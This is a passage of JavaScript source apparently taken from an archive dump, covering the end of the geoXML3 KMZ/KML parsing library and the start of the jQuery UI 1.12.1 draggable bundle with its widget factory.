 * @param {Function(Document)} callback Function to call when the document
is processed.
 * @param {geoXML3.parser} parser A geoXML3.parser object.  This is used to
populate the KMZ image data.
 * @author Brendan Byrd
 * @see http://code.google.com/apis/kml/documentation/kmzarchives.html
 */
geoXML3.fetchZIP = function (url, callback, parser) {
  // Just need a single 'new' declaration with a really long
function...
  var zipFile = new ZipFile(url, function (zip) {
    // Retrieval complete

    // Check for ERRORs in zip.status
    for (var i = 0; i < zip.status.length; i++) {
      var msg = zip.status[i];
      if (msg.indexOf("ERROR") == 0) {
        geoXML3.log('HTTP/ZIP error retrieving ' + url + ':
' + msg);
        callback();
        return;
      }
      else if (msg.indexOf("EXCEPTION") == 0) {  
        geoXML3.log('HTTP/ZIP exception retrieving ' + url +
': ' + msg);
        callback();
        return;
      } else if (msg.indexOf("WARNING") == 0) {  // non-fatal,
but still might be useful
        geoXML3.log('HTTP/ZIP warning retrieving ' + url +
': ' + msg);
      } else if (msg.indexOf("INFO") == 0) {  // non-fatal, but
still might be useful
        geoXML3.log('HTTP/ZIP info retrieving ' + url + ':
' + msg);
      }
    }

    // Make sure KMZ structure is according to spec (with a single KML file
in the root dir)
    var KMLCount = 0;
    var KML;
    for (var i = 0; i < zip.entries.length; i++) {
      var name = zip.entries[i].name;
      if (!/\.kml$/.test(name)) continue;

      KMLCount++;
      if (KMLCount == 1) KML = i;
      else {
        geoXML3.log('KMZ warning retrieving ' + url + ':
found extra KML "' + name + '" in KMZ;
discarding...');
      }
    }

    // Returned successfully, but still needs extracting
    var baseUrl = cleanURL(defileURL(url), url) + '/';
    var kmlProcessing = {  // this is an object just so it gets passed
properly
      timer: null,
      extractLeft: 0,
      timerCalls: 0
    };
    var extractCb = function(entry, entryContent) {
      var mdUrl = cleanURL(baseUrl, entry.name);
      var ext = entry.name.substring(entry.name.lastIndexOf(".")
+ 1).toLowerCase();
      kmlProcessing.extractLeft--;

      if ((typeof entryContent.description == "string")
&& (entryContent.name == "Error")) {
        geoXML3.log('KMZ error extracting ' + mdUrl + ':
' + entryContent.description);
        callback();
        return;
      }

      // MIME types that can be used in KML
      var mime;
      if (ext === 'jpg') ext = 'jpeg';
      if (/^(gif|jpeg|png)$/.test(ext)) mime = 'image/' + ext;
      else if (ext === 'mp3')           mime =
'audio/mpeg';
      else if (ext === 'm4a')           mime =
'audio/mp4';
      else if (ext === 'm4a')           mime =
'audio/MP4-LATM';
      else                              mime =
'application/octet-stream';

      parser.kmzMetaData[mdUrl] = {};
      parser.kmzMetaData[mdUrl].entry = entry;
      // data:image/gif;base64,R0lGODlhEAAOALMA...
      parser.kmzMetaData[mdUrl].dataUrl = 'data:' + mime +
';base64,' + base64Encode(entryContent);
      // IE cannot handle GET requests beyond 2071 characters, even if
it's an inline image
	if (/msie/i.test(navigator.userAgent) &&
!/opera/i.test(navigator.userAgent))
        { 
            if (((IEversion() < 8.0) &&
                 (parser.kmzMetaData[mdUrl].dataUrl.length > 2071)) ||
                ((IEversion < 9.0) && 
                 (parser.kmzMetaData[mdUrl].dataUrl.length > 32767))) {
             parser.kmzMetaData[mdUrl].dataUrl =
             // this is a simple IE icon; to hint at the problem...
            
'data:image/gif;base64,R0lGODlhDwAQAOMPADBPvSpQ1Dpoyz1p6FhwvU2A6ECP63CM04CWxYCk+V6x+UK++Jao3rvC3fj7+v///yH5BAEKAA8ALAAAAAAPABAAAASC8Mk5mwCAUMlWwcLRHEelLA'
+
            
'oGDMgzSsiyGCAhCETDPMh5XQCBwYBrNBIKWmg0MCQHj8MJU5IoroYCY6AAAgrDIbbQDGIK6DR5UPhlNo0JAlSUNAiDgH7eNAxEDWAKCQM2AAFheVxYAA0AIkFOJ1gBcQQaUQKKA5w7LpcEBwkJaKMUEQA7';
            } 
       }
      
parser.kmzMetaData[internalSrc(entry.name)]=parser.kmzMetaData[mdUrl];	

    };
    var kmlExtractCb = function(entry, entryContent) {
      if ((typeof entryContent.description == "string")
&& (entryContent.name == "Error")) {
        geoXML3.log('KMZ error extracting ' + entry.name +
': ' + entryContent.description);
        callback();
        return;
      }

      // check to see if the KML is the last file extracted
      clearTimeout(kmlProcessing.timer);
      if (kmlProcessing.extractLeft <= 1) {
        kmlProcessing.extractLeft--;
        callback(geoXML3.xmlParse(entryContent));
        return;
      }
      else {
        // KML file isn't last yet; it may need to use those files, so
wait a bit (100ms)
        kmlProcessing.timerCalls++;
        if (kmlProcessing.timerCalls < 100) {
          kmlProcessing.timer = setTimeout(function() { kmlExtractCb(entry,
entryContent); }, 100);
        }
        else {
          geoXML3.log('KMZ warning extracting ' + url + ':
entire ZIP has not been extracted after 10 seconds; running through KML,
anyway...');
          kmlProcessing.extractLeft--;
          callback(geoXML3.xmlParse(entryContent));
        }
      }
      return;
    };
    for (var i = 0; i < zip.entries.length; i++) {
      var entry = zip.entries[i];
      var ext = entry.name.substring(entry.name.lastIndexOf(".")
+ 1).toLowerCase();
      if (!/^(gif|jpe?g|png|kml)$/.test(ext)) continue;  // not going to
bother to extract files we don't support
      if (ext === "kml" && i != KML)          continue; 
// extra KMLs get discarded
      if (!parser && ext != "kml")            continue; 
// cannot store images without a parser object

      // extract asynchronously
      kmlProcessing.extractLeft++;
      if (ext === "kml") entry.extract(kmlExtractCb);
      else               entry.extract(extractCb);
    }
  }); //,3 for most verbose logging

};

/**
 * Extract the text value of a DOM node, with leading and trailing
whitespace trimmed.
 *
 * @param {Element} node XML node/element.
 * @param {Any} delVal Default value if the node doesn't exist.
 * @return {String|Null}
 */
geoXML3.nodeValue = function(node, defVal) {
  var retStr="";
  if (!node) {
    return (typeof defVal === 'undefined' || defVal === null) ?
null : defVal;
  }
   if(node.nodeType==3||node.nodeType==4||node.nodeType==2){
      retStr+=node.nodeValue;
   }else if(node.nodeType==1||node.nodeType==9||node.nodeType==11){
      for(var i=0;i<node.childNodes.length;++i){
         retStr+=arguments.callee(node.childNodes[i]);
      }
   }
   return retStr;
};

/**
 * Loosely translate various values of a DOM node to a boolean.
 *
 * @param {Element} node XML node/element.
 * @param {Boolean} delVal Default value if the node doesn't exist.
 * @return {Boolean|Null}
 */
geoXML3.getBooleanValue = function(node, defVal) {
  var nodeContents = geoXML3.nodeValue(node);
  if (nodeContents === null) return defVal || false;
  nodeContents = parseInt(nodeContents);
  if (isNaN(nodeContents)) return true;
  if (nodeContents == 0) return false;
  else return true;
}

/**
 * Browser-normalized version of getElementsByTagNameNS.
 *
 * <p>Required because IE8 doesn't define it.</p>
 *
 * @param {Element|Document} node DOM object.
 * @param {String} namespace Full namespace URL to search against.
 * @param {String} tagname XML local tag name.
 * @return {Array of Elements}
 * @author Brendan Byrd
 */
geoXML3.getElementsByTagNameNS = function(node, namespace, tagname) {
  if (node && typeof node.getElementsByTagNameNS !=
'undefined') return node.getElementsByTagNameNS(namespace,
tagname);
  if (!node) return [];

  var root = node.documentElement || node.ownerDocument &&
node.ownerDocument.documentElement;
  if (!root || !root.attributes) return [];

  // search for namespace prefix
  for (var i = 0; i < root.attributes.length; i++) {
    var attr = root.attributes[i];
    if      (attr.prefix   === 'xmlns' && attr.nodeValue
=== namespace) return node.getElementsByTagName(attr.baseName +
':' + tagname);
    else if (attr.nodeName === 'xmlns' && attr.nodeValue
=== namespace) {
      // default namespace
      if (typeof node.selectNodes != 'undefined') {
        // Newer IEs have the SelectionNamespace property that can be used
with selectNodes
        if
(!root.ownerDocument.getProperty('SelectionNamespaces'))
          root.ownerDocument.setProperty('SelectionNamespaces',
"xmlns:defaultNS='" + namespace + "'");
        return node.selectNodes('.//defaultNS:' + tagname);
      }
      else {
        // Otherwise, you can still try to tack on the 'xmlns'
attribute to root
        root.setAttribute('xmlns:defaultNS', namespace);
        return node.getElementsByTagName('defaultNS:' + tagname);
      }
    }
  }
  return geoXML3.getElementsByTagName(node, tagname);  // try the
unqualified version
};

/**
 * Browser-normalized version of getElementsByTagName.
 *
 * <p>Required because MSXML 6.0 will treat this function as a
NS-qualified function,
 * despite the missing NS parameter.</p>
 *
 * @param {Element|Document} node DOM object.
 * @param {String} tagname XML local tag name.
 * @return {Array of Elements}
 * @author Brendan Byrd
 */
geoXML3.getElementsByTagName = function(node, tagname) {
  if (node && typeof node.getElementsByTagNameNS !=
'undefined') return node.getElementsByTagName(tagname);  // if it
has both functions, it should be accurate
//  if (node && typeof node.selectNodes != 'undefined')  
         return node.selectNodes(".//*[local-name()='" +
tagname + "']");
  return node.getElementsByTagName(tagname);  // hope for the best...
}

/**
 * Turn a directory + relative URL into an absolute one.
 *
 * @private
 * @param {String} d Base directory.
 * @param {String} s Relative URL.
 * @return {String} Absolute URL.
 * @author Brendan Byrd
 */
var toAbsURL = function (d, s) {
  var p, f, i;
  var h = location.protocol + "://" + location.host;

  if (!s.length)           return '';
  if (/^\w+:/.test(s))     return s;
  if (s.indexOf('/') == 0) return h + s;

  p = d.replace(/\/[^\/]*$/, '');
  f = s.match(/\.\.\//g);
  if (f) {
    s = s.substring(f.length * 3);
    for (i = f.length; i--;) { p = p.substring(0,
p.lastIndexOf('/')); }
  }

  return h + p + '/' + s;
}

var internalSrc = function(src) {
  //this gets the full url
  var url = document.location.href;
  //this removes everything after the last slash in the path
  url = url.substring(0,url.lastIndexOf("/") + 1);
  var internalPath= url+src;
  return internalPath;
}

/**
 * Remove current host from URL
 *
 * @private
 * @param {String} s Absolute or relative URL.
 * @return {String} Root-based relative URL.
 * @author Brendan Byrd
 */
var dehostURL = function (s) {
  var h = location.protocol + "://" + location.host;
  h = h.replace(/([\.\\\+\*\?\[\^\]\$\(\)])/g, '\\$1');  //
quotemeta
  return s.replace(new RegExp('^' + h, 'i'),
'');
}

/**
 * Removes all query strings, #IDs, '../' references, and
 * hosts from a URL.
 *
 * @private
 * @param {String} d Base directory.
 * @param {String} s Absolute or relative URL.
 * @return {String} Root-based relative URL.
 * @author Brendan Byrd
 */
var cleanURL  = function (d, s) { return dehostURL(toAbsURL(d ?
d.split('#')[0].split('?')[0] :
defileURL(location.pathname), s ?
s.split('#')[0].split('?')[0] : '')); }
/**
 * Remove filename from URL
 *
 * @private
 * @param {String} s Relative URL.
 * @return {String} Base directory.
 * @author Brendan Byrd
 */
var defileURL = function (s)    { return s ? s.substr(0,
s.lastIndexOf('/') + 1) : '/'; }


// Some extra Array subs for ease of use
//
http://stackoverflow.com/questions/143847/best-way-to-find-an-item-in-a-javascript-array
Array.prototype.hasObject = (
  !Array.indexOf ? function (obj) {
    var l = this.length + 1;
    while (l--) {
      if (this[l - 1] === obj) return true;
    }
    return false;
  } : function (obj) {
    return (this.indexOf(obj) !== -1);
  }
);
Array.prototype.hasItemInObj = function (name, item) {
  var l = this.length + 1;
  while (l--) {
    if (this[l - 1][name] === item) return true;
  }
  return false;
};
if (!Array.prototype.indexOf) {
  Array.prototype.indexOf = function (obj, fromIndex) {
    if (fromIndex == null) {
      fromIndex = 0;
    } else if (fromIndex < 0) {
      fromIndex = Math.max(0, this.length + fromIndex);
    }
    for (var i = fromIndex, j = this.length; i < j; i++) {
      if (this[i] === obj) return i;
    }
    return -1;
  };
}
Array.prototype.indexOfObjWithItem = function (name, item, fromIndex) {
  if (fromIndex == null) {
    fromIndex = 0;
  } else if (fromIndex < 0) {
    fromIndex = Math.max(0, this.length + fromIndex);
  }
  for (var i = fromIndex, j = this.length; i < j; i++) {
    if (this[i][name] === item) return i;
  }
  return -1;
};

/**
 * Borrowed from jquery.base64.js, with some "Array as input"
corrections
 *
 * @private
 * @param {Array of charCodes} input An array of byte ASCII codes (0-255).
 * @return {String} A base64-encoded string.
 * @author Brendan Byrd
 */
var base64Encode = function(input) {
  var keyString =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  var output = "";
  var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  var i = 0;
  while (i < input.length) {
    chr1 = input[i++];
    chr2 = input[i++];
    chr3 = input[i++];
    enc1 = chr1 >> 2;
    enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
    enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
    enc4 = chr3 & 63;

    if      (chr2 == undefined) enc3 = enc4 = 64;
    else if (chr3 == undefined) enc4 = 64;

    output = output + keyString.charAt(enc1) + keyString.charAt(enc2) +
keyString.charAt(enc3) + keyString.charAt(enc4);
  }
  return output;
};
js/jquery-ui-draggable.js000064400000176007151165074470011403 0ustar00/*!
jQuery UI - v1.12.1 - 2019-12-24
* http://jqueryui.com
* Includes: widget.js, data.js, scroll-parent.js, widgets/draggable.js,
widgets/mouse.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

(function( factory ) {
	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define([ "jquery" ], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
}(function( $ ) {

$.ui = $.ui || {};

var version = $.ui.version = "1.12.1";


/*!
 * jQuery UI Widget 1.12.1
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: Widget
//>>group: Core
//>>description: Provides a factory for creating stateful widgets
with a common API.
//>>docs: http://api.jqueryui.com/jQuery.widget/
//>>demos: http://jqueryui.com/widget/



var widgetUuid = 0;
var widgetSlice = Array.prototype.slice;

$.cleanData = ( function( orig ) {
	return function( elems ) {
		var events, elem, i;
		for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) {
			try {

				// Only trigger remove when necessary to save time
				events = $._data( elem, "events" );
				if ( events && events.remove ) {
					$( elem ).triggerHandler( "remove" );
				}

			// Http://bugs.jquery.com/ticket/8235
			} catch ( e ) {}
		}
		orig( elems );
	};
} )( $.cleanData );

$.widget = function( name, base, prototype ) {
	var existingConstructor, constructor, basePrototype;

	// ProxiedPrototype allows the provided prototype to remain unmodified
	// so that it can be used as a mixin for multiple widgets (#8876)
	var proxiedPrototype = {};

	var namespace = name.split( "." )[ 0 ];
	name = name.split( "." )[ 1 ];
	var fullName = namespace + "-" + name;

	if ( !prototype ) {
		prototype = base;
		base = $.Widget;
	}

	if ( $.isArray( prototype ) ) {
		prototype = $.extend.apply( null, [ {} ].concat( prototype ) );
	}

	// Create selector for plugin
	$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
		return !!$.data( elem, fullName );
	};

	$[ namespace ] = $[ namespace ] || {};
	existingConstructor = $[ namespace ][ name ];
	constructor = $[ namespace ][ name ] = function( options, element ) {

		// Allow instantiation without "new" keyword
		if ( !this._createWidget ) {
			return new constructor( options, element );
		}

		// Allow instantiation without initializing for simple inheritance
		// must use "new" keyword (the code above always passes args)
		if ( arguments.length ) {
			this._createWidget( options, element );
		}
	};

	// Extend with the existing constructor to carry over any static
properties
	$.extend( constructor, existingConstructor, {
		version: prototype.version,

		// Copy the object used to create the prototype in case we need to
		// redefine the widget later
		_proto: $.extend( {}, prototype ),

		// Track widgets that inherit from this widget in case this widget is
		// redefined after a widget inherits from it
		_childConstructors: []
	} );

	basePrototype = new base();

	// We need to make the options hash a property directly on the new
instance
	// otherwise we'll modify the options hash on the prototype that
we're
	// inheriting from
	basePrototype.options = $.widget.extend( {}, basePrototype.options );
	$.each( prototype, function( prop, value ) {
		if ( !$.isFunction( value ) ) {
			proxiedPrototype[ prop ] = value;
			return;
		}
		proxiedPrototype[ prop ] = ( function() {
			function _super() {
				return base.prototype[ prop ].apply( this, arguments );
			}

			function _superApply( args ) {
				return base.prototype[ prop ].apply( this, args );
			}

			return function() {
				var __super = this._super;
				var __superApply = this._superApply;
				var returnValue;

				this._super = _super;
				this._superApply = _superApply;

				returnValue = value.apply( this, arguments );

				this._super = __super;
				this._superApply = __superApply;

				return returnValue;
			};
		} )();
	} );
	constructor.prototype = $.widget.extend( basePrototype, {

		// TODO: remove support for widgetEventPrefix
		// always use the name + a colon as the prefix, e.g., draggable:start
		// don't prefix for widgets that aren't DOM-based
		widgetEventPrefix: existingConstructor ? (
basePrototype.widgetEventPrefix || name ) : name
	}, proxiedPrototype, {
		constructor: constructor,
		namespace: namespace,
		widgetName: name,
		widgetFullName: fullName
	} );

	// If this widget is being redefined then we need to find all widgets that
	// are inheriting from it and redefine all of them so that they inherit
from
	// the new version of this widget. We're essentially trying to
replace one
	// level in the prototype chain.
	if ( existingConstructor ) {
		$.each( existingConstructor._childConstructors, function( i, child ) {
			var childPrototype = child.prototype;

			// Redefine the child widget using the same prototype that was
			// originally used, but inherit from the new version of the base
			$.widget( childPrototype.namespace + "." +
childPrototype.widgetName, constructor,
				child._proto );
		} );

		// Remove the list of existing child constructors from the old
constructor
		// so the old child constructors can be garbage collected
		delete existingConstructor._childConstructors;
	} else {
		base._childConstructors.push( constructor );
	}

	$.widget.bridge( name, constructor );

	return constructor;
};

$.widget.extend = function( target ) {
	var input = widgetSlice.call( arguments, 1 );
	var inputIndex = 0;
	var inputLength = input.length;
	var key;
	var value;

	for ( ; inputIndex < inputLength; inputIndex++ ) {
		for ( key in input[ inputIndex ] ) {
			value = input[ inputIndex ][ key ];
			if ( input[ inputIndex ].hasOwnProperty( key ) && value !==
undefined ) {

				// Clone objects
				if ( $.isPlainObject( value ) ) {
					target[ key ] = $.isPlainObject( target[ key ] ) ?
						$.widget.extend( {}, target[ key ], value ) :

						// Don't extend strings, arrays, etc. with objects
						$.widget.extend( {}, value );

				// Copy everything else by reference
				} else {
					target[ key ] = value;
				}
			}
		}
	}
	return target;
};

$.widget.bridge = function( name, object ) {
	var fullName = object.prototype.widgetFullName || name;
	$.fn[ name ] = function( options ) {
		var isMethodCall = typeof options === "string";
		var args = widgetSlice.call( arguments, 1 );
		var returnValue = this;

		if ( isMethodCall ) {

			// If this is an empty collection, we need to have the instance method
			// return undefined instead of the jQuery instance
			if ( !this.length && options === "instance" ) {
				returnValue = undefined;
			} else {
				this.each( function() {
					var methodValue;
					var instance = $.data( this, fullName );

					if ( options === "instance" ) {
						returnValue = instance;
						return false;
					}

					if ( !instance ) {
						return $.error( "cannot call methods on " + name +
							" prior to initialization; " +
							"attempted to call method '" + options +
"'" );
					}

					if ( !$.isFunction( instance[ options ] ) || options.charAt( 0 ) ===
"_" ) {
						return $.error( "no such method '" + options +
"' for " + name +
							" widget instance" );
					}

					methodValue = instance[ options ].apply( instance, args );

					if ( methodValue !== instance && methodValue !== undefined ) {
						returnValue = methodValue && methodValue.jquery ?
							returnValue.pushStack( methodValue.get() ) :
							methodValue;
						return false;
					}
				} );
			}
		} else {

			// Allow multiple hashes to be passed on init
			if ( args.length ) {
				options = $.widget.extend.apply( null, [ options ].concat( args ) );
			}

			this.each( function() {
				var instance = $.data( this, fullName );
				if ( instance ) {
					instance.option( options || {} );
					if ( instance._init ) {
						instance._init();
					}
				} else {
					$.data( this, fullName, new object( options, this ) );
				}
			} );
		}

		return returnValue;
	};
};

$.Widget = function( /* options, element */ ) {};
$.Widget._childConstructors = [];

$.Widget.prototype = {
	widgetName: "widget",
	widgetEventPrefix: "",
	defaultElement: "<div>",

	options: {
		classes: {},
		disabled: false,

		// Callbacks
		create: null
	},

	_createWidget: function( options, element ) {
		element = $( element || this.defaultElement || this )[ 0 ];
		this.element = $( element );
		this.uuid = widgetUuid++;
		this.eventNamespace = "." + this.widgetName + this.uuid;

		this.bindings = $();
		this.hoverable = $();
		this.focusable = $();
		this.classesElementLookup = {};

		if ( element !== this ) {
			$.data( element, this.widgetFullName, this );
			this._on( true, this.element, {
				remove: function( event ) {
					if ( event.target === element ) {
						this.destroy();
					}
				}
			} );
			this.document = $( element.style ?

				// Element within the document
				element.ownerDocument :

				// Element is window or document
				element.document || element );
			this.window = $( this.document[ 0 ].defaultView || this.document[ 0
].parentWindow );
		}

		this.options = $.widget.extend( {},
			this.options,
			this._getCreateOptions(),
			options );

		this._create();

		if ( this.options.disabled ) {
			this._setOptionDisabled( this.options.disabled );
		}

		this._trigger( "create", null, this._getCreateEventData() );
		this._init();
	},

	_getCreateOptions: function() {
		return {};
	},

	_getCreateEventData: $.noop,

	_create: $.noop,

	_init: $.noop,

	destroy: function() {
		var that = this;

		this._destroy();
		$.each( this.classesElementLookup, function( key, value ) {
			that._removeClass( value, key );
		} );

		// We can probably remove the unbind calls in 2.0
		// all event bindings should go through this._on()
		this.element
			.off( this.eventNamespace )
			.removeData( this.widgetFullName );
		this.widget()
			.off( this.eventNamespace )
			.removeAttr( "aria-disabled" );

		// Clean up events and states
		this.bindings.off( this.eventNamespace );
	},

	_destroy: $.noop,

	widget: function() {
		return this.element;
	},

	option: function( key, value ) {
		var options = key;
		var parts;
		var curOption;
		var i;

		if ( arguments.length === 0 ) {

			// Don't return a reference to the internal hash
			return $.widget.extend( {}, this.options );
		}

		if ( typeof key === "string" ) {

			// Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___
} }
			options = {};
			parts = key.split( "." );
			key = parts.shift();
			if ( parts.length ) {
				curOption = options[ key ] = $.widget.extend( {}, this.options[ key ]
);
				for ( i = 0; i < parts.length - 1; i++ ) {
					curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
					curOption = curOption[ parts[ i ] ];
				}
				key = parts.pop();
				if ( arguments.length === 1 ) {
					return curOption[ key ] === undefined ? null : curOption[ key ];
				}
				curOption[ key ] = value;
			} else {
				if ( arguments.length === 1 ) {
					return this.options[ key ] === undefined ? null : this.options[ key ];
				}
				options[ key ] = value;
			}
		}

		this._setOptions( options );

		return this;
	},

	_setOptions: function( options ) {
		var key;

		for ( key in options ) {
			this._setOption( key, options[ key ] );
		}

		return this;
	},

	_setOption: function( key, value ) {
		if ( key === "classes" ) {
			this._setOptionClasses( value );
		}

		this.options[ key ] = value;

		if ( key === "disabled" ) {
			this._setOptionDisabled( value );
		}

		return this;
	},

	_setOptionClasses: function( value ) {
		var classKey, elements, currentElements;

		for ( classKey in value ) {
			currentElements = this.classesElementLookup[ classKey ];
			if ( value[ classKey ] === this.options.classes[ classKey ] ||
					!currentElements ||
					!currentElements.length ) {
				continue;
			}

			// We are doing this to create a new jQuery object because the
_removeClass() call
			// on the next line is going to destroy the reference to the current
elements being
			// tracked. We need to save a copy of this collection so that we can add
the new classes
			// below.
			elements = $( currentElements.get() );
			this._removeClass( currentElements, classKey );

			// We don't use _addClass() here, because that uses
this.options.classes
			// for generating the string of classes. We want to use the value passed
in from
			// _setOption(), this is the new value of the classes option which was
passed to
			// _setOption(). We pass this value directly to _classes().
			elements.addClass( this._classes( {
				element: elements,
				keys: classKey,
				classes: value,
				add: true
			} ) );
		}
	},

	_setOptionDisabled: function( value ) {
		this._toggleClass( this.widget(), this.widgetFullName +
"-disabled", null, !!value );

		// If the widget is becoming disabled, then nothing is interactive
		if ( value ) {
			this._removeClass( this.hoverable, null, "ui-state-hover" );
			this._removeClass( this.focusable, null, "ui-state-focus" );
		}
	},

	enable: function() {
		return this._setOptions( { disabled: false } );
	},

	disable: function() {
		return this._setOptions( { disabled: true } );
	},

	_classes: function( options ) {
		var full = [];
		var that = this;

		options = $.extend( {
			element: this.element,
			classes: this.options.classes || {}
		}, options );

		function processClassString( classes, checkOption ) {
			var current, i;
			for ( i = 0; i < classes.length; i++ ) {
				current = that.classesElementLookup[ classes[ i ] ] || $();
				if ( options.add ) {
					current = $( $.unique( current.get().concat( options.element.get() ) )
);
				} else {
					current = $( current.not( options.element ).get() );
				}
				that.classesElementLookup[ classes[ i ] ] = current;
				full.push( classes[ i ] );
				if ( checkOption && options.classes[ classes[ i ] ] ) {
					full.push( options.classes[ classes[ i ] ] );
				}
			}
		}

		this._on( options.element, {
			"remove": "_untrackClassesElement"
		} );

		if ( options.keys ) {
			processClassString( options.keys.match( /\S+/g ) || [], true );
		}
		if ( options.extra ) {
			processClassString( options.extra.match( /\S+/g ) || [] );
		}

		return full.join( " " );
	},

	_untrackClassesElement: function( event ) {
		var that = this;
		$.each( that.classesElementLookup, function( key, value ) {
			if ( $.inArray( event.target, value ) !== -1 ) {
				that.classesElementLookup[ key ] = $( value.not( event.target ).get()
);
			}
		} );
	},

	_removeClass: function( element, keys, extra ) {
		return this._toggleClass( element, keys, extra, false );
	},

	_addClass: function( element, keys, extra ) {
		return this._toggleClass( element, keys, extra, true );
	},

	_toggleClass: function( element, keys, extra, add ) {
		add = ( typeof add === "boolean" ) ? add : extra;
		var shift = ( typeof element === "string" || element === null
),
			options = {
				extra: shift ? keys : extra,
				keys: shift ? element : keys,
				element: shift ? this.element : element,
				add: add
			};
		options.element.toggleClass( this._classes( options ), add );
		return this;
	},

	_on: function( suppressDisabledCheck, element, handlers ) {
		var delegateElement;
		var instance = this;

		// No suppressDisabledCheck flag, shuffle arguments
		if ( typeof suppressDisabledCheck !== "boolean" ) {
			handlers = element;
			element = suppressDisabledCheck;
			suppressDisabledCheck = false;
		}

		// No element argument, shuffle and use this.element
		if ( !handlers ) {
			handlers = element;
			element = this.element;
			delegateElement = this.widget();
		} else {
			element = delegateElement = $( element );
			this.bindings = this.bindings.add( element );
		}

		$.each( handlers, function( event, handler ) {
			function handlerProxy() {

				// Allow widgets to customize the disabled handling
				// - disabled as an array instead of boolean
				// - disabled class as method for disabling individual parts
				if ( !suppressDisabledCheck &&
						( instance.options.disabled === true ||
						$( this ).hasClass( "ui-state-disabled" ) ) ) {
					return;
				}
				return ( typeof handler === "string" ? instance[ handler ] :
handler )
					.apply( instance, arguments );
			}

			// Copy the guid so direct unbinding works
			if ( typeof handler !== "string" ) {
				handlerProxy.guid = handler.guid =
					handler.guid || handlerProxy.guid || $.guid++;
			}

			var match = event.match( /^([\w:-]*)\s*(.*)$/ );
			var eventName = match[ 1 ] + instance.eventNamespace;
			var selector = match[ 2 ];

			if ( selector ) {
				delegateElement.on( eventName, selector, handlerProxy );
			} else {
				element.on( eventName, handlerProxy );
			}
		} );
	},

	_off: function( element, eventName ) {
		eventName = ( eventName || "" ).split( " " ).join(
this.eventNamespace + " " ) +
			this.eventNamespace;
		element.off( eventName ).off( eventName );

		// Clear the stack to avoid memory leaks (#10056)
		this.bindings = $( this.bindings.not( element ).get() );
		this.focusable = $( this.focusable.not( element ).get() );
		this.hoverable = $( this.hoverable.not( element ).get() );
	},

	_delay: function( handler, delay ) {
		function handlerProxy() {
			return ( typeof handler === "string" ? instance[ handler ] :
handler )
				.apply( instance, arguments );
		}
		var instance = this;
		return setTimeout( handlerProxy, delay || 0 );
	},

	_hoverable: function( element ) {
		this.hoverable = this.hoverable.add( element );
		this._on( element, {
			mouseenter: function( event ) {
				this._addClass( $( event.currentTarget ), null,
"ui-state-hover" );
			},
			mouseleave: function( event ) {
				this._removeClass( $( event.currentTarget ), null,
"ui-state-hover" );
			}
		} );
	},

	_focusable: function( element ) {
		this.focusable = this.focusable.add( element );
		this._on( element, {
			focusin: function( event ) {
				this._addClass( $( event.currentTarget ), null,
"ui-state-focus" );
			},
			focusout: function( event ) {
				this._removeClass( $( event.currentTarget ), null,
"ui-state-focus" );
			}
		} );
	},

	_trigger: function( type, event, data ) {
		var prop, orig;
		var callback = this.options[ type ];

		data = data || {};
		event = $.Event( event );
		event.type = ( type === this.widgetEventPrefix ?
			type :
			this.widgetEventPrefix + type ).toLowerCase();

		// The original event may come from any element
		// so we need to reset the target on the new event
		event.target = this.element[ 0 ];

		// Copy original event properties over to the new event
		orig = event.originalEvent;
		if ( orig ) {
			for ( prop in orig ) {
				if ( !( prop in event ) ) {
					event[ prop ] = orig[ prop ];
				}
			}
		}

		this.element.trigger( event, data );
		return !( $.isFunction( callback ) &&
			callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false
||
			event.isDefaultPrevented() );
	}
};

$.each( { show: "fadeIn", hide: "fadeOut" }, function(
method, defaultEffect ) {
	$.Widget.prototype[ "_" + method ] = function( element, options,
callback ) {
		if ( typeof options === "string" ) {
			options = { effect: options };
		}

		var hasOptions;
		var effectName = !options ?
			method :
			options === true || typeof options === "number" ?
				defaultEffect :
				options.effect || defaultEffect;

		options = options || {};
		if ( typeof options === "number" ) {
			options = { duration: options };
		}

		hasOptions = !$.isEmptyObject( options );
		options.complete = callback;

		if ( options.delay ) {
			element.delay( options.delay );
		}

		if ( hasOptions && $.effects && $.effects.effect[
effectName ] ) {
			element[ method ]( options );
		} else if ( effectName !== method && element[ effectName ] ) {
			element[ effectName ]( options.duration, options.easing, callback );
		} else {
			element.queue( function( next ) {
				$( this )[ method ]();
				if ( callback ) {
					callback.call( element[ 0 ] );
				}
				next();
			} );
		}
	};
} );

var widget = $.widget;


/*!
 * jQuery UI :data 1.12.1
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: :data Selector
//>>group: Core
//>>description: Selects elements which have data stored under the
specified key.
//>>docs: http://api.jqueryui.com/data-selector/


var data = $.extend( $.expr[ ":" ], {
	data: $.expr.createPseudo ?
		$.expr.createPseudo( function( dataName ) {
			return function( elem ) {
				return !!$.data( elem, dataName );
			};
		} ) :

		// Support: jQuery <1.8
		function( elem, i, match ) {
			return !!$.data( elem, match[ 3 ] );
		}
} );

/*!
 * jQuery UI Scroll Parent 1.12.1
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: scrollParent
//>>group: Core
//>>description: Get the closest ancestor element that is scrollable.
//>>docs: http://api.jqueryui.com/scrollParent/



var scrollParent = $.fn.scrollParent = function( includeHidden ) {
	var position = this.css( "position" ),
		excludeStaticParent = position === "absolute",
		overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/,
		scrollParent = this.parents().filter( function() {
			var parent = $( this );
			if ( excludeStaticParent && parent.css( "position" )
=== "static" ) {
				return false;
			}
			return overflowRegex.test( parent.css( "overflow" ) +
parent.css( "overflow-y" ) +
